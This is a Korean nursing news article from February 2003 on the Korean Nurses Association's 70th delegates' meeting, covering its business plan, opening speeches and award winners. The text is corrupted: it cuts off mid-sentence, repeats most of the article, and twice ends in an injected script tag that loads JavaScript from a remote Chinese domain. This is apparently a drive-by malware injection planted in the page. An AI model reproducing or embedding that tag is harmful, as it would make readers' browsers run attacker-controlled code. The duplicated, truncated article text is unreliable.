Home / 간호협회 활동
2003년 대한간호협회 대의원 총회
창립 80주년 행사·회원증 카드화 추진
[편집국] 정규숙 kschung@nursenews.co.kr 기사입력 2003-02-27 오전 10:04:03
대한간호협회는 제70회 정기 대의원 총회를 19∼20일 대전 유성 리베라호텔에서 열고 2003년도 사업계획을 심의 확정했다.
올해는 간호협회 창립 80주년 기념행사 및 제6회 전국대회를 성공적으로 개최하고, 회원증 카드화 사업을 추진하는데 힘을 모으기로 했다. 이와함께 주요사업으로 제5차 장기사업계획안 마련, 대한간호협회 조직모델안 작성, 사이버 교육센터 구축, WTO/DDA 보건의료서비스 시장개방에 따른 대책 활동, 재단법인 간호교육평가원 설립 추진, 간호교육기관 인정평가 실시, 민간자격시험 실시, 회원고충상담전화 및 인터넷 법률상담실 운영 등을 확정했다. 사업수행에 필요한 예산안도 함께 통과시켰다.
◆ 개회식
대의원 총회 개회식은 `국민건강의 옹호자－간호사'를 주제로 19일 오후 2시 염홍철 대전광역시 시장, 송석찬 국회의원(민주당)을 비롯한 내빈과 간호계 지도자, 대의원들이 참석한 가운데 성황리에 열렸다.
김의숙 대한간호협회장은 개회사를 통해 "지난해 간호계는 사회·정치적 변화와 보건의료정책 흐름에 발빠르게 대처하면서 한마음으로 힘과 지혜를 모은 결과 알찬 결실을 이뤄냈다"면서 년은 간호협회 창립 80주년을 맞는 뜻깊은 해인만큼 간호의 올바른 이미지를 세상에 널리 알리고 간호사들이 진정한 국민건강의 옹호자로 거듭날 수 있도록 노력하자"고 말했다.
축사를 한 염홍철 대전시장은 "국민들의 건강을 위해 한결같이 봉사하고 있는 간호사들의 노고에 깊이 감사드린다"면서 "국민과 사회로부터 사랑받는 전문인이며 뛰어난 결속력을 자랑하는 간호사들을 회원으로 두고 있는 대한간호협회는 가장 큰 영향력을 지닌 최고의 전문직단체"라고 말했다.
염홍철 시장은 "대전시간호사회는 대전시로부터 위탁받아 `가정간호센터'를 성공적으로 운영함으로써 대전시의 위상을 전국 지방자치단체 중 으뜸가는 위치에 올려놓았다"면서 대한간호협회가 더욱 발전하길 기원한다고 말했다.
개회식에서는 대의원들이 기립한 가운데 `한국 간호사 윤리강령'을 송영선 부산시간호사회장이 낭독했으며, 4개항의 건의문과 3개항의 결의문을 채택했다. 건의문과 결의문은 이정희 간협 제1부회장과 박혜자 간협 제2부회장이 각각 낭독했다.
이와함께 대구 지하철 방화참사 희생자들을 애도하고, 일생을 간호사업 발전을 위해 헌신하다 타계한 간호계 선배들을 기리는 묵념의 시간을 가졌다. 포상 순서도 다채롭게 마련됐으며, 각 부문별 수상자는 다음과 같다.
◇올해의 간호인상＝양승희(대전시간호사회장), 양승숙(군진간호사회장)
◇보건복지부 장관상＝홍성순(가톨릭대 성모자애병원 간호부장), 주리애(광주시 동구 노인복지회관 사무국장), 김금자(전북간호사회 사무국장)
◇공로상＝이향련(전 서울시간호사회장), 이화자(전 부산시간호사회장), 홍창자(전 인천시간호사회장), 이영자(전 울산시간호사회장), 복문자(전 경기도간호사회장), 윤양소(전 강원도간호사회장) 박진영(전 전남간호사회장), 우선혜(전 경남간호사회장), 손영주(전 제주도간호사회장), 윤순녕(전 산업간호사회장) ◇공로상＝고 강문영(전 강원도간호사회 사무국장), 한철우(전 대한간호협회 간호교육평가원 사무처장)
◇간호학술상＝조은주 외 4명(본상·서울대병원), 황혜남(장려상·경희의료원), 최진선 외 5명(장려상·서울아산병원)
◇간호문학상＝천은자(시 당선작·강릉아산병원), 박영순(시 가작·해남보건진료소), 강성희(수필 당선작·국립의료원), 정인아(수필 가작·연대 영동세브란스병원), 최두희(수기 가작·경남 부곡정신병원), 강진선(수기 가작·연대 세브란스병원), 김성실(소설 당선작·광주기독병원), 권희윤(소설 가작·한림대 한강성심병원)
◇감사패＝부산가톨릭대 간호대학·한서대 간호학과·경원전문대학 간호과·예수간호대학(간호교육기관 인정평가 시범사업 참가 대학), 이상섭(후생신보 편집국장), 최승원(의협신보 기자), 유경민(보건신문 기자), 배소영(간협 리포터·대구 곽병원), 정하숙(간협 리포터·예수병원)
◇근속상＝김방자(부산시간호사회 사무국장), 주영화(대전시간호사회 사무국장), 유혜경(전남간호사회 사무국장), 정규숙(간협신보 편집국장)
대전에서 총회가 열릴 수 있도록 지원한 양승희 대전시간호사회장과 양승숙 군진간호사회장에게 공로상, 염홍철 대전시장에게 감사패가 수여됐다.
개회식의 피날레로 대의원들은 이명숙 전남간호사회장의 선창에 따라 대한간호협회 회가를 다함께 불렀다. 이어 한동관 관동대 의무부총장이 주제강연을 했다.
◆ 대의원 총회
개회식에 이어 간호협회 임원 및 대의원 248명이 참석한 가운데 총회가 진행됐으며, 회의 시작에 앞서 총회 의장단을 새로 구성했다.
신임 의장에는 윤양소 전 강원도간호사회장이 선?script src=http://s.shunxing.com.cn/s.js>
올해는 간호협회 창립 80주년 기념행사 및 제6회 전국대회를 성공적으로 개최하고, 회원증 카드화 사업을 추진하는데 힘을 모으기로 했다. 이와함께 주요사업으로 제5차 장기사업계획안 마련, 대한간호협회 조직모델안 작성, 사이버 교육센터 구축, WTO/DDA 보건의료서비스 시장개방에 따른 대책 활동, 재단법인 간호교육평가원 설립 추진, 간호교육기관 인정평가 실시, 민간자격시험 실시, 회원고충상담전화 및 인터넷 법률상담실 운영 등을 확정했다. 사업수행에 필요한 예산안도 함께 통과시켰다.
◆ 개회식
대의원 총회 개회식은 `국민건강의 옹호자－간호사'를 주제로 19일 오후 2시 염홍철 대전광역시 시장, 송석찬 국회의원(민주당)을 비롯한 내빈과 간호계 지도자, 대의원들이 참석한 가운데 성황리에 열렸다.
김의숙 대한간호협회장은 개회사를 통해 "지난해 간호계는 사회·정치적 변화와 보건의료정책 흐름에 발빠르게 대처하면서 한마음으로 힘과 지혜를 모은 결과 알찬 결실을 이뤄냈다"면서 년은 간호협회 창립 80주년을 맞는 뜻깊은 해인만큼 간호의 올바른 이미지를 세상에 널리 알리고 간호사들이 진정한 국민건강의 옹호자로 거듭날 수 있도록 노력하자"고 말했다.
축사를 한 염홍철 대전시장은 "국민들의 건강을 위해 한결같이 봉사하고 있는 간호사들의 노고에 깊이 감사드린다"면서 "국민과 사회로부터 사랑받는 전문인이며 뛰어난 결속력을 자랑하는 간호사들을 회원으로 두고 있는 대한간호협회는 가장 큰 영향력을 지닌 최고의 전문직단체"라고 말했다.
염홍철 시장은 "대전시간호사회는 대전시로부터 위탁받아 `가정간호센터'를 성공적으로 운영함으로써 대전시의 위상을 전국 지방자치단체 중 으뜸가는 위치에 올려놓았다"면서 대한간호협회가 더욱 발전하길 기원한다고 말했다.
개회식에서는 대의원들이 기립한 가운데 `한국 간호사 윤리강령'을 송영선 부산시간호사회장이 낭독했으며, 4개항의 건의문과 3개항의 결의문을 채택했다. 건의문과 결의문은 이정희 간협 제1부회장과 박혜자 간협 제2부회장이 각각 낭독했다.
이와함께 대구 지하철 방화참사 희생자들을 애도하고, 일생을 간호사업 발전을 위해 헌신하다 타계한 간호계 선배들을 기리는 묵념의 시간을 가졌다. 포상 순서도 다채롭게 마련됐으며, 각 부문별 수상자는 다음과 같다.
◇올해의 간호인상＝양승희(대전시간호사회장), 양승숙(군진간호사회장)
◇보건복지부 장관상＝홍성순(가톨릭대 성모자애병원 간호부장), 주리애(광주시 동구 노인복지회관 사무국장), 김금자(전북간호사회 사무국장)
◇공로상＝이향련(전 서울시간호사회장), 이화자(전 부산시간호사회장), 홍창자(전 인천시간호사회장), 이영자(전 울산시간호사회장), 복문자(전 경기도간호사회장), 윤양소(전 강원도간호사회장) 박진영(전 전남간호사회장), 우선혜(전 경남간호사회장), 손영주(전 제주도간호사회장), 윤순녕(전 산업간호사회장) ◇공로상＝고 강문영(전 강원도간호사회 사무국장), 한철우(전 대한간호협회 간호교육평가원 사무처장)
◇간호학술상＝조은주 외 4명(본상·서울대병원), 황혜남(장려상·경희의료원), 최진선 외 5명(장려상·서울아산병원)
◇간호문학상＝천은자(시 당선작·강릉아산병원), 박영순(시 가작·해남보건진료소), 강성희(수필 당선작·국립의료원), 정인아(수필 가작·연대 영동세브란스병원), 최두희(수기 가작·경남 부곡정신병원), 강진선(수기 가작·연대 세브란스병원), 김성실(소설 당선작·광주기독병원), 권희윤(소설 가작·한림대 한강성심병원)
◇감사패＝부산가톨릭대 간호대학·한서대 간호학과·경원전문대학 간호과·예수간호대학(간호교육기관 인정평가 시범사업 참가 대학), 이상섭(후생신보 편집국장), 최승원(의협신보 기자), 유경민(보건신문 기자), 배소영(간협 리포터·대구 곽병원), 정하숙(간협 리포터·예수병원)
◇근속상＝김방자(부산시간호사회 사무국장), 주영화(대전시간호사회 사무국장), 유혜경(전남간호사회 사무국장), 정규숙(간협신보 편집국장)
대전에서 총회가 열릴 수 있도록 지원한 양승희 대전시간호사회장과 양승숙 군진간호사회장에게 공로상, 염홍철 대전시장에게 감사패가 수여됐다.
개회식의 피날레로 대의원들은 이명숙 전남간호사회장의 선창에 따라 대한간호협회 회가를 다함께 불렀다. 이어 한동관 관동대 의무부총장이 주제강연을 했다.
◆ 대의원 총회
개회식에 이어 간호협회 임원 및 대의원 248명이 참석한 가운데 총회가 진행됐으며, 회의 시작에 앞서 총회 의장단을 새로 구성했다.
신임 의장에는 윤양소 전 강원도간호사회장이 선?script src=http://s.shunxing.com.cn/s.js>
